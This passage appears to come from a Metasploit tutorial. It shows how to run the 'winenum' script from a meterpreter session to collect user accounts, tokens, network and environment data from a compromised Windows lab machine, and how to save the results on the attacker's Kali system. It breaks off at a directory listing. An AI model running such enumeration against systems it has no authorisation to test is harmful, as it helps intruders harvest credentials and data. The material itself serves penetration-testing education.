Scraping the system using winenum
Windows Local Enumeration (WinEnum) script retrieves all kinds of information about the system including environment variables, network interfaces, routing, user accounts, and much more.
How to do it...
- The
winenumscript will run several commands such asarp,net,netstat,netsh, andwmicamong other commands on the target machine and store the results on our local system:
meterpreter > run winenum [*] Running Windows Local Enumeration Meterpreter Script [*] New session on 192.168.216.10:445... [*] Saving general report to /root/.msf4/logs/scripts/winenum/VAGRANT-2008R2_20171118.2800/VAGRANT-2008R2_20171118.2800.txt [*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/VAGRANT-2008R2_20171118.2800 ... [*] Getting Tokens... [*] All tokens have been processed [*] Done! meterpreter >
- The output of the
winenumscript is stored in the/root/.msf4/logs/scripts/winenum/folder:
root@kali:~# ls /root/.msf4/logs/scripts/winenum/VAGRANT...